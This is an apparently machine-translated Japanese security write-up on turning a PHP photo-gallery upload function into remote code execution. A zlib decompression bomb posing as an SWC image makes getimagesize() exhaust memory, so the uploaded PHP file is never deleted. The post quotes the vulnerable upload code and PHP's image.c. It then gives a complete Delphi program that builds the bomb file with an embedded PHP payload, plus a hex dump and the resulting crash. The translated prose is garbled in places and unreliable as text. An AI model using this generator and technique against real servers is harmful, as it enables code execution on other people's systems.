危険なgetimagesize()またはZip Bomb for PHP

再帰



秋が再びピーターに来て、1週間にわたって太陽放射の絶え間ない攻撃にさらされていた作業気分は、彼にとって十分であると判断し、まだ閉じていない窓に飛びました。



「素晴らしい」と思いました。「エンジンが戻ってくる前に、エンジンを選択する時です!」



すぐに言ってやった。 このカットでは、PHPの一般的なフォトギャラリーエンジンの脆弱性と、ひげを生やしたzip爆弾 (またはペット爆弾)を使用してgetimagesize()



を使用してサイトを配置する方法について簡単に説明します。



ご存じのように、ハッキングの目標は、クライアント側(XSSを意味する)またはサーバー側(RCE、リモートコード実行を意味する)から何かを盗もうとすることです。 後者は、もちろん、より有望な快適なコミュニケーションと接続されています -コードを実行する機能( shell.php aka“ eBay Style ”)を持ち、ユーザーベース全体をドラッグして、同時にいくつかのXSSを追加できます。



RCEへの最も直接的な方法は、サーバーにファイルをアップロードする機能です。 これは、さまざまなソースで行うことができます-ほとんどの場合、シールの形で...すみません、画像。 実際、今日、自尊心のあるフォーラムやソーシャルネットワークでは、少なくともアバターをアップロードできます。



ただし、コードをサーバーにアップロードするだけでは十分ではありません。サーバー(サーバー)にこのコードを実行させる必要があります。 ここで、民主主義の構築者は、nginxtry_filesを設定し、 %00



を使用して行をトリミングし、MIMEチェックと*.php



直接ロードする些細なバイパスで問題を抱えています他の数十の穴)。



そして、コードがロードされ、不要な拡張子が付いている場合でも、それを見つける必要があります。 多くの場合、エンジンはファイル名をランダムに、時にはデータベース内のレコードのIDに基づいて連続的に生成します。 ただし、これは通常、スクリプト自体をロードするよりも問題は少ないです。



ご覧のとおり、ハッカーの生活を複雑にするのに十分な機会があります。 しかし、時には非常に面白い学校があり、以下のいずれかについてもあります。



サイズが重要な場合



私が検討しているエンジンでは、ファイルのダウンロードを担当する機能は1つだけで、次のように開始します。

 function process_upload($upload) { $ext = explode('.', $upload['name']); $ext = strtolower($ext[count($ext)-1]); $filename = md5_file($upload['tmp_name']); move_uploaded_file($upload['tmp_name'], 'temp/'.$filename.'.'.$ext); $info = getimagesize('temp/'.$filename.'.'.$ext); $tmp_ext = str_replace('image/', '', $info['mime']); if ($ext != $tmp_ext) { rename('temp/'.$filename.'.'.$ext, 'temp/'.$filename.'.'.$tmp_ext); $ext = $tmp_ext; } if ($ext != 'jpg' && $ext != 'jpeg' && $ext != 'gif' && $ext != 'png') { unlink('temp/'.$filename.'.'.$ext); return false; } //  ,    .
      
      





process_upload()



関数は、 $_FILES



からエントリを受け取り$_FILES



つまり、この形式の配列です。

 $upload = array( 'name' => '_.jpg', 'tmp_name' => '/var/tmp/php-upload.temp', )
      
      





ご覧のとおり、ここで次のことが発生します。



  1. 内容によって宛先ファイルの名前を生成します(別名md5sum $tmp_name



  2. この名前に元の拡張子を追加する
  3. ダウンロードしたファイルをこの名前で一時フォルダーに移動します。 フォルダーは外部から見えるように example.com/temp



  4. ファイル形式を確認します-拡張子が形式と一致するものと異なる場合、一時フォルダー内のファイルは「実際の」拡張子に名前が変更されます
  5. ファイルがイメージではない場合、削除されます。


私たちにとって非常に興味深いのは、ポイント3と4の間で起こることです。ファイル形式のシラミのチェックとこのファイルの削除の間には、 getimagesize()



rename()



呼び出しの少なくとも2つの操作があります。 後者はあまり興味がありません-本当に高速に動作するか、動作しません-しかし、PHPが警告を発行してからunlink()



が実行され、トラックがスイープされます。



しかし、 getimagesize()



本当に心配です。 スクリプトをtemp



実行している間、彼女を「待機」させることは可能ですか?



ソースを使用、ルーク



ファイル形式のチェックは、潜在的に複雑な操作です。 この関数は10年以来PHPに存在しており、GDライブラリを必要とせず、すべてのインタープリターアセンブリに含まれています。 20の形式をサポートし、そのモジュールのコードは約1,500行かかります。 当然、悪用できるものがなければなりません。



すべてのビジネスが綿密に計画された計画から始まるため、すべてのホワイトボックスペンテストはソースから始まります。 興味のあるモジュールはphp-5.5.12\ext\standard\image.c



です。 コードを数分間調べた後、SWC形式で動作する非常に興味深い関数、Shockwave Flash Compressedに出会いました(これについて初めて耳にします)。 すなわち:

 //     stream   4- ,    'CWS'. static struct gfxinfo *php_handle_swc(php_stream * stream TSRMLS_DC) { struct gfxinfo *result = NULL; long bits; unsigned char a[64]; unsigned long len=64, szlength; int factor=1,maxfactor=16; int slength, status=0; char *b, *buf=NULL, *bufz=NULL; b = ecalloc (1, len + 1); if (php_stream_seek(stream, 5, SEEK_CUR)) return NULL; if (php_stream_read(stream, a, sizeof(a)) != sizeof(a)) return NULL; if (uncompress(b, &len, a, sizeof(a)) != Z_OK) { /* failed to decompress the file, will try reading the rest of the file */ if (php_stream_seek(stream, 8, SEEK_SET)) return NULL; slength = php_stream_copy_to_mem(stream, &bufz, PHP_STREAM_COPY_ALL, 0); /* * zlib::uncompress() wants to know the output data length * if none was given as a parameter * we try from input length * 2 up to input length * 2^8 * doubling it whenever it wasn't big enough * that should be eneugh for all real life cases */ do { szlength=slength*(1<<factor++); buf = (char *) erealloc(buf,szlength); status = uncompress(buf, &szlength, bufz, slength); } while ((status==Z_BUF_ERROR)&&(factor<maxfactor));
      
      





コードは、ヘッダーの後の最初の64バイトをアンパックしようとして失敗した場合(つまり、0x08から始まる)、ループに入り、入力バッファー全体を最大9回アンパックしようとするという点で興味深いです。 これはリソースを大量に消費する操作であり、スクリプトにアクセスするのに数百ミリ秒かかるはずです。 そして洪水もあります。



...圧縮データのさまざまな悪用の30分後、大幅な遅延を達成できませんでした。 私のシステムが速すぎるか、実際にはZlibのために数百メガバイトを8回連続でアンロードすることです-大きな問題ではありません。 次のような脆弱性を探して移動する準備ができていました...



「待って...数百メガバイト?」



フェイスパーム



640ペタバイトですべての人に十分です



覚えている人-2000年代初頭、不適切なコンテンツを含むアーカイブをフィルタリングしようとしたメールサーバーがこのように配置されました。 攻撃の本質は簡単です: LZに似た圧縮アルゴリズムが圧縮可能なストリームを通過し、その中に既に見られるフラグメントを見つけて、それらをリンク(たとえば、2バイト)に置き換える場合、4バイトごとにアーカイブを作成できます(オフセットは2長さ2の場合)圧縮データは65536の非圧縮バイトを作成します。 したがって、解凍後の4キロバイトは64メガバイトになります。 入力ファイル全体を同じ文字でたたくだけで十分です。 これは簡単です。



実際には、実際のLZはそれほど効率的に機能しませんが、単純なzip



を使用してトリックを行わなくても、元のファイルから11 GBのゼロで10 MBのファイルを取得できます



PHPは、デフォルトで最大2 MBのファイルアップロードと128 MBのスクリプトで使用可能な最大メモリに設定されています。 2メガバイトのアーカイブでは、展開に1ギガバイトのメモリが必要になると計算するのは簡単です。 多くの場合、サーバーは5〜10メガバイトのファイルを許可するように構成されています。特にファイルストレージやフォトギャラリーに関してはそうです。



シールに戻ります。 php_handle_swc()



関数コードからわかるように、次の形式のファイルを作成するだけです。

 0000h: 43 57 53 00 00 00 00 00 78 DA CWS.....xÚ
      
      





最初の3バイトはSWC形式のマジックシグネチャで、次の5バイトはヘッダー( php_handle_swc()



では使用されません)で、圧縮されたZlibストリームがあります。 ここでは、最大圧縮率に対応する78 DA



で始まります。



圧縮ストリームの一部のデータを台無しにするだけで十分です。PHPは圧縮解除サイクルに入り、「爆弾」を解凍しようとします。割り当てられたメモリはスクリプトで終了し、インタープリターは実行を中断します。



これは、 try..catch



(ある場合)が呼び出されず、例外を処理できないことを意味します-たとえば、ファイルを削除します-そして、スクリプトがregister_shutdown_handler()



ハンドラーを設定している場合のみ、それが呼び出され、そこで例外を追跡することが可能になります。 しかし、通常、彼らはこれを行いません。これは完全に「論理的な」ロジックではないからです。 古いPHPの精神ですが。



(完全を期すために、PHPでのZlibサポートは無効にできるため、 getimagesize()



SWCサポートも無効にすることができます。ただし、ほとんどのサーバーはZlibを使用しています。)




私のお気に入りのDelphiの爆弾発生器:

 program BombSWC; {$APPTYPE CONSOLE} uses ZLibEx, Classes; const Header = 'CWS'#0#0#0#0#0; var I: Integer; Input: String; Buf: Pointer; Stream: TFileStream; begin SetLength(Input, 800 * 1024 * 1024); // 800 ??. FillChar(Input[1], Length(Input), 0); ZCompress(@Input[1], Length(Input), Buf, I, zcMax); Stream := TFileStream.Create('bomb.php', fmCreate); Stream.WriteBuffer(Header[1], Length(Header)); Stream.WriteBuffer(Buf^, I); Stream.Seek(-1000, soFromEnd); Input := '<?php phpinfo();?>'; Stream.WriteBuffer(Input[1], Length(Input)); Stream.Free; end.
      
      





その結果、800 MBから796 KBが得られ、次のようになります。

 0:0000h: 43 57 53 00 00 00 00 00 78 DA EC C1 01 01 00 00 CWS.....xÚìÁ.... 0:0010h: 00 80 90 FE AF EE 08 0A 00 00 00 00 00 00 00 00 .€ ...   ... C:6D00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:6D10h: 00 00 00 00 3C 3F 70 68 70 20 70 68 70 69 6E 66 ....<?php phpinf C:6D20h: 6F 28 29 3B 3F 3E 00 00 00 00 00 00 00 00 00 00 o();?>.......... C:6D30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ...     ... C:70E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:70F0h: 00 00 00 00 00 00 BF 00 EE 1E 00 01 ......¿.î...
      
      





上記のファイルは正しいPHPスクリプトであり、誰も確信できないと考えています。 はい、彼は最初と最後にゴミを取り除きますが、これは彼が満たすことを妨げません。



サーバーに「画像」をアップロードするだけです...



致命的エラー:536870912バイトのメモリサイズを使い果たしました(8334916352バイトを割り当てようとしました)



Pwned



-一般保護違反-



All Articles